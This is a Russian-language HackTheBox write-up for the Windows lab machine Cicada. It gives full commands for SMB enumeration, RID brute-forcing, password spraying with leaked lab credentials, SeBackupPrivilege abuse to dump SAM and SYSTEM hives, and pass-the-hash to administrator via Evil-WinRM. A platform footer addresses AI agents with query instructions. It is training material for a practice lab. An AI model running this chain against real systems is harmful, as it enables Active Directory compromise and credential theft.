> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Разбор Cicada на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление SMB (RID-Brute)
* Утечка информации (описание пользователя) (netexec)
* Повышение привилегий (SeBackupPrivilege)
* Извлечение SAM (pypykatz)
* Pass-the-Hash (EvilWinRM)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/f50a124e254a22839997e2ff02d6bb866ab953f4" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/8a7dcb0364fd8a30ac153b76bdc1934eed28a7cb" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="/files/f7f88421820ac74144dd55eeaa5211bd23125632" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

<figure><img src="/files/b91a65e60d70549d910687619dd37b1d429d9973" alt=""><figcaption></figcaption></figure>

Сканирование версий портов с Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="/files/021678af35411049402f8c79e8c7615f426b21e0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e54e1be7c62590bcf3d873efda813d5fe697c666" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

<figure><img src="/files/ddc107f57ad374a57924bc240db0e0aed296038c" alt=""><figcaption></figcaption></figure>

### Порт 445 - SMB

**Перечисление SMB с помощью smbmap**

Чтобы перечислить общие ресурсы с null-сессией:

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="/files/97239a0a1b42a31009c593eec58960f7efd751ad" alt=""><figcaption></figcaption></figure>

У **HR** Папка содержит интересный текстовый файл. Изучим его содержимое:

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="/files/c2704f4852189f5c69b54d81f91b8ef159fa793f" alt=""><figcaption></figcaption></figure>

**Скачать файл**

Мы получаем доступ к шару и скачиваем файл:

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="/files/b4a12f6207be0387ddbe50ba8db426bb4b9702ba" alt=""><figcaption></figcaption></figure>

Файл содержит пароль

* пароль: `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="/files/ff75aea8db707dab6798500941672eb56b20546a" alt=""><figcaption></figcaption></figure>

## Список RID-Brute

#### Чтобы идентифицировать пользователей домена, мы запускаем атаку RID-Brute:

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> У `--rid-brute` параметр используется для выполнения /*/* атаки грубой силы/*/* на **RID (связанные идентификаторы)** пользователи в домене Windows. RID является частью уникального идентификатора пользователя в системе Windows и обычно используется для идентификации учетных записей пользователей и групп

<figure><img src="/files/ce7f5585bf656514a82035f0cdb39e81c7579c7c" alt=""><figcaption></figcaption></figure>

Вот список найденных пользователей:

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### Проверка пользователей

Мы проверяем пароль, найденный для всех пользователей:

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

Пользователь **michael.wrightson** использует этот пароль.

<figure><img src="/files/eedc7f24662929ab21cf33dad2208e6e152c69a4" alt=""><figcaption></figcaption></figure>

### Пользователь Michael:

### Перечисление с netexec

Мы используем **michael.wrightson** учетные данные для дальнейшего изучения:

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="/files/f2e744fd0bff46496a7f4b4d428dd50bc58d118b" alt=""><figcaption></figcaption></figure>

Это раскрывает открытый пароль пользователя **david.orelious**:

* имя пользователя: `david.orelious`
* пароль: `aRt$Lp#7t*VQ!3`

/*/Проверка и перечисление SMB с учетными данными в //* **david.orelious**

### Переход к пользователю David

Мы проверяем учетные данные david.orelious с помощью CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="/files/7bd9ff2e943cc80d39d3d01e61c1937dd4c3d85e" alt=""><figcaption></figcaption></figure>

Затем мы изучаем SMB-ресурсы, доступные на целевой машине, с помощью smbmap:

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="/files/43d44bc3a36ca50474dc438d6b14a0d9bc45286d" alt=""><figcaption></figcaption></figure>

Затем мы подключаемся к шару DEV с помощью smbclient:

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

В этом ресурсе мы находим скрипт с именем backup/ script.ps1.

<figure><img src="/files/e575b7b5f034fbe1ec8bc1fe5437366f1c25318a" alt=""><figcaption></figcaption></figure>

### Переход к пользователю Emily

Мы загружаем скрипт backup/ script.ps1 с помощью команды get и обнаруживаем пользователя emily.oscars

* имя пользователя: emily.oscars
* пароль: Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="/files/d181c6f7ec13cd7d5fda52f26d7dce3820426892" alt=""><figcaption></figcaption></figure>

Мы проверяем эти учетные данные с помощью CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

Затем мы подключаемся к машине с помощью Evil-WinRM:

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="/files/2e2b76fc671379e87b8eed0e826130a7f663bc43" alt=""><figcaption></figcaption></figure>

### Флаг user.txt

Мы получаем флаг из файла user.txt.

<figure><img src="/files/a44e591b6babf491eea3b48c2e41f25af86b2cc7" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**Проверка привилегий**

Для начала проверим привилегии текущего пользователя. Выполните следующую команду, чтобы проверить, есть ли у пользователя `SeBackupPrivilege` привилегия:

```bash
whoami /priv
```

<figure><img src="/files/1b61ffc54fbc4e1cdfe30238caa7d4fd175bf406" alt=""><figcaption></figcaption></figure>

**Скачать необходимые DLL-файлы**

Чтобы злоупотребить этими привилегиями, загрузите DLL-файлы на машину-жертву. Они доступны [здесь](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

Загрузите эти файлы на машину жертвы с помощью следующих команд

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/86820621be9723ed4d91e5d71c6233032f99cf0c" alt=""><figcaption></figcaption></figure>

**Загрузка DLL-модулей**

После загрузки DLL-файлов подключите их к сеансу PowerShell с помощью следующих команд:

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**Создайте резервную копию файлов SAM и SYSTEM**

Теперь мы сохраним `SAM` и `SYSTEM` файлы, содержащие сведения об идентификации пользователей. Используйте следующие команды, чтобы сохранить их:

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="/files/7435e1bbeae0a4414b32ca38a9154ab7dd8f6895" alt=""><figcaption></figcaption></figure>

**Скачать файлы SAM и SYSTEM**

После сохранения файлов вы можете скачать их на свою виртуальную машину (VM) для их анализа:

```powershell
download sam
download system
```

<figure><img src="/files/e724876d79e4498aa05f08ffb9357dad13e0dc66" alt=""><figcaption></figcaption></figure>

### **Извлечение хэшей из файла SAM**

Используйте `samdump2` для извлечения хэшей из `SAM` и `SYSTEM` файлов:

```bash
samdump2 system sam
```

<figure><img src="/files/041fc5866c7d3c9bc0be4a911ea22309143933e5" alt=""><figcaption></figcaption></figure>

Если эта команда не работает, вы можете попробовать `pypykatz` чтобы извлечь хэши напрямую:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/645b7db11ac22e5f63fe8ac7bf9933e6704e9a2b" alt=""><figcaption></figcaption></figure>

Это должно дать действительный хэш, например:

* хэш: `2b87e7c93a3e8a0ea4a581937016f341`

### **Pass-the-Hash с Evil-WinRM**

Теперь, когда у вас есть хэш, вы можете использовать его для атаки "Pass-the-Hash" и подключиться к целевой машине с помощью `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/548abdc9f629a7af81b39e69b7fb9d4f522939a9" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/3e4b7ca2d6cc8813c8ad58676500b6323365e07a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7327a50634f44f45ddaba568a0c43a9bccbae38a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
